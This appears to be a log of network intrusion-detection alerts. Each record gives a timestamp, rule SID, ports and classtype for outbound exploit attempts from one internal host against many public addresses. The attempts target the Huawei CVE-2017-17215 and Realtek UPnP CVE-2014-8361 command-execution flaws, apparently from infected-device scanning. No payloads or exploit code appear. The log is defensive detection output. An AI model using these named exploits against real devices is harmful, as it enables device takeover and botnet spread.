Timestamp:	07/20/24-23:01:54.980256
SID:	2831300
Source Port:	45806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.231.235.189

Timestamp:	07/20/24-23:00:59.196993
SID:	2829579
Source Port:	48984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.157.19.102

Timestamp:	07/20/24-23:01:31.323043
SID:	2831300
Source Port:	59916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.89.78.68

Timestamp:	07/20/24-23:01:27.730585
SID:	2829579
Source Port:	60510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 144.247.247.76

Timestamp:	07/20/24-23:01:24.510301
SID:	2025132
Source Port:	41918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.27.212.72

Timestamp:	07/20/24-23:02:00.484578
SID:	2027339
Source Port:	58038
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 17.37.38.42

Timestamp:	07/20/24-23:01:42.809716
SID:	2025132
Source Port:	37290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.201.201.44

Timestamp:	07/20/24-23:01:45.233561
SID:	2025132
Source Port:	54774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.104.161.240

Timestamp:	07/20/24-23:01:31.322288
SID:	2027339
Source Port:	60192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.171.123.209

Timestamp:	07/20/24-23:01:42.799973
SID:	2027339
Source Port:	34198
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 144.152.137.9

Timestamp:	07/20/24-23:01:10.775483
SID:	2025132
Source Port:	43032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.102.172.20

Timestamp:	07/20/24-23:01:48.369883
SID:	2027339
Source Port:	40972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.144.159.228

Timestamp:	07/20/24-23:01:08.600114
SID:	2027339
Source Port:	44382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 160.135.194.107

Timestamp:	07/20/24-23:01:40.285038
SID:	2829579
Source Port:	41800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.146.159.96

Timestamp:	07/20/24-23:01:51.056707
SID:	2027339
Source Port:	34134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 84.227.123.147

Timestamp:	07/20/24-23:01:41.258403
SID:	2025132
Source Port:	35944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.32.91.217

Timestamp:	07/20/24-23:01:50.128003
SID:	2027339
Source Port:	50218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.68.37.27

Timestamp:	07/20/24-23:01:42.643745
SID:	2027339
Source Port:	53574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.36.62.56

Timestamp:	07/20/24-23:01:42.780168
SID:	2025132
Source Port:	46568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.101.108.92

Timestamp:	07/20/24-23:01:02.721582
SID:	2025132
Source Port:	40048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.230.88.31

Timestamp:	07/20/24-23:01:00.639011
SID:	2835222
Source Port:	53980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.74.2.198

Timestamp:	07/20/24-23:01:11.634077
SID:	2835222
Source Port:	32922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.59.143.10

Timestamp:	07/20/24-23:01:40.285038
SID:	2835222
Source Port:	38402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 151.105.247.52

Timestamp:	07/20/24-23:01:41.660997
SID:	2831300
Source Port:	53996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.66.163.45

Timestamp:	07/20/24-23:01:24.960642
SID:	2829579
Source Port:	54608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.192.243.189

Timestamp:	07/20/24-23:01:45.582631
SID:	2025132
Source Port:	37576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 212.172.247.72

Timestamp:	07/20/24-23:01:08.615260
SID:	2831300
Source Port:	52816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.195.217.147

Timestamp:	07/20/24-23:01:27.739158
SID:	2829579
Source Port:	52978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.92.250.125

Timestamp:	07/20/24-23:01:09.027075
SID:	2027339
Source Port:	43632
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 81.144.207.10

Timestamp:	07/20/24-23:01:51.916672
SID:	2831300
Source Port:	46732
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.160.207.169

Timestamp:	07/20/24-23:00:59.185032
SID:	2835222
Source Port:	34626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.22.111.5

Timestamp:	07/20/24-23:01:43.227281
SID:	2025132
Source Port:	59816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.221.97.172

Timestamp:	07/20/24-23:01:44.713195
SID:	2025132
Source Port:	47504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 134.168.191.164

Timestamp:	07/20/24-23:01:47.674845
SID:	2025132
Source Port:	44134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.68.146.233

Timestamp:	07/20/24-23:01:56.880291
SID:	2027339
Source Port:	40646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.46.15.204

Timestamp:	07/20/24-23:01:44.510114
SID:	2027339
Source Port:	49522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.157.179.142

Timestamp:	07/20/24-23:01:27.664606
SID:	2835222
Source Port:	36288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.189.156.39

Timestamp:	07/20/24-23:02:18.238800
SID:	2027339
Source Port:	35348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.220.184.21

Timestamp:	07/20/24-23:01:52.193913
SID:	2025132
Source Port:	54490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.51.3.253

Timestamp:	07/20/24-23:01:45.978835
SID:	2027339
Source Port:	40016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 109.94.51.165

Timestamp:	07/20/24-23:01:24.904906
SID:	2835222
Source Port:	35460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.239.203.194

Timestamp:	07/20/24-23:01:02.048367
SID:	2829579
Source Port:	41918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.175.44.160

Timestamp:	07/20/24-23:01:11.820979
SID:	2829579
Source Port:	34426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.19.125.68

Timestamp:	07/20/24-23:01:44.993925
SID:	2027339
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.72.81.243

Timestamp:	07/20/24-23:01:59.154601
SID:	2027339
Source Port:	37598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.252.135.214

Timestamp:	07/20/24-23:01:27.654173
SID:	2829579
Source Port:	53600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.211.80.133

Timestamp:	07/20/24-23:01:07.016889
SID:	2829579
Source Port:	54644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.68.164.37

Timestamp:	07/20/24-23:01:12.807101
SID:	2831300
Source Port:	53936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.116.31.11

Timestamp:	07/20/24-23:01:08.632574
SID:	2027339
Source Port:	49030
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.220.55.191

Timestamp:	07/20/24-23:01:45.095767
SID:	2027339
Source Port:	42164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.152.115.130

Timestamp:	07/20/24-23:01:43.110964
SID:	2027339
Source Port:	60932
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 153.216.34.227

Timestamp:	07/20/24-23:01:27.650337
SID:	2829579
Source Port:	54152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.201.154.131

Timestamp:	07/20/24-23:01:41.412156
SID:	2027339
Source Port:	44554
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 222.178.130.155

Timestamp:	07/20/24-23:02:01.645032
SID:	2025132
Source Port:	54798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.196.122.240

Timestamp:	07/20/24-23:01:59.707284
SID:	2025132
Source Port:	47538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.186.32.47

Timestamp:	07/20/24-23:01:42.749469
SID:	2831300
Source Port:	46454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 217.255.162.70

Timestamp:	07/20/24-23:01:59.302806
SID:	2025132
Source Port:	38432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.44.162.23

Timestamp:	07/20/24-23:01:41.370646
SID:	2025132
Source Port:	36080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.182.132.190

Timestamp:	07/20/24-23:01:47.486502
SID:	2025132
Source Port:	55102
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.187.229.164

Timestamp:	07/20/24-23:01:01.448947
SID:	2027339
Source Port:	41332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.74.14.28

Timestamp:	07/20/24-23:01:14.158864
SID:	2025132
Source Port:	42424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 76.88.28.157

Timestamp:	07/20/24-23:01:31.976984
SID:	2829579
Source Port:	38654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.130.132.139

Timestamp:	07/20/24-23:01:01.901550
SID:	2025132
Source Port:	33518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.198.81.69

Timestamp:	07/20/24-23:01:00.641498
SID:	2835222
Source Port:	59564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.102.112.63

Timestamp:	07/20/24-23:01:02.119631
SID:	2835222
Source Port:	58596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.85.169.251

Timestamp:	07/20/24-23:01:04.039128
SID:	2829579
Source Port:	48384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.9.72

Timestamp:	07/20/24-23:01:31.978141
SID:	2835222
Source Port:	42054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.80.10.211

Timestamp:	07/20/24-23:01:20.599458
SID:	2831300
Source Port:	34350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.71.77

Timestamp:	07/20/24-23:01:21.915268
SID:	2829579
Source Port:	57730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 177.220.208.210

Timestamp:	07/20/24-23:01:45.064977
SID:	2025132
Source Port:	45862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.77.241.40

Timestamp:	07/20/24-23:01:47.652628
SID:	2025132
Source Port:	50702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 135.215.110.183

Timestamp:	07/20/24-23:01:51.919746
SID:	2831300
Source Port:	57832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 152.191.160.62

Timestamp:	07/20/24-23:02:37.919900
SID:	2025132
Source Port:	35978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.93.255.182

Timestamp:	07/20/24-23:01:42.072139
SID:	2025132
Source Port:	45316
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 222.12.61.68

Timestamp:	07/20/24-23:01:20.132510
SID:	2835222
Source Port:	40272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.211.122.175

Timestamp:	07/20/24-23:01:02.066908
SID:	2835222
Source Port:	39306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.41.35.87

Timestamp:	07/20/24-23:01:42.136560
SID:	2027339
Source Port:	60048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 195.45.218.64

Timestamp:	07/20/24-23:01:48.490989
SID:	2831300
Source Port:	58100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 201.173.108.254

Timestamp:	07/20/24-23:01:08.634900
SID:	2831300
Source Port:	45770
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.145.205.177

Timestamp:	07/20/24-23:01:44.878540
SID:	2831300
Source Port:	51740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.214.50.214

Timestamp:	07/20/24-23:01:57.346494
SID:	2025132
Source Port:	41456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.135.90.32

Timestamp:	07/20/24-23:01:31.314906
SID:	2027339
Source Port:	52102
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.51.246.221

Timestamp:	07/20/24-23:01:31.982801
SID:	2829579
Source Port:	48970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.113.54.165

Timestamp:	07/20/24-23:01:41.176787
SID:	2027339
Source Port:	49826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.210.162.125

Timestamp:	07/20/24-23:01:42.042815
SID:	2027339
Source Port:	56826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 134.135.7.1

Timestamp:	07/20/24-23:01:42.632123
SID:	2025132
Source Port:	34600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.198.183.23

Timestamp:	07/20/24-23:01:43.305781
SID:	2025132
Source Port:	52648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.165.136.62

Timestamp:	07/20/24-23:01:24.916250
SID:	2829579
Source Port:	47154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 220.31.50.128

Timestamp:	07/20/24-23:01:43.063994
SID:	2025132
Source Port:	45782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 79.246.175.175

Timestamp:	07/20/24-23:01:40.286738
SID:	2835222
Source Port:	51646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.50.33.70

Timestamp:	07/20/24-23:01:44.602081
SID:	2025132
Source Port:	49514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.200.114.238

Timestamp:	07/20/24-23:01:32.073087
SID:	2829579
Source Port:	56496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.248.87.10

Timestamp:	07/20/24-23:02:18.238800
SID:	2027339
Source Port:	60464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 59.213.19.147

Timestamp:	07/20/24-23:01:58.905147
SID:	2831300
Source Port:	46932
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.80.93.33

Timestamp:	07/20/24-23:01:00.658201
SID:	2829579
Source Port:	38354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.64.55.120

Timestamp:	07/20/24-23:01:20.592206
SID:	2027339
Source Port:	40964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.86.64.66

Timestamp:	07/20/24-23:01:42.915641
SID:	2027339
Source Port:	37908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.245.224.230

Timestamp:	07/20/24-23:01:53.066716
SID:	2025132
Source Port:	37184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.56.63.93

Timestamp:	07/20/24-23:01:47.808678
SID:	2027339
Source Port:	53342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.234.108.85

Timestamp:	07/20/24-23:01:45.667239
SID:	2027339
Source Port:	53328
Destination Port:	52869
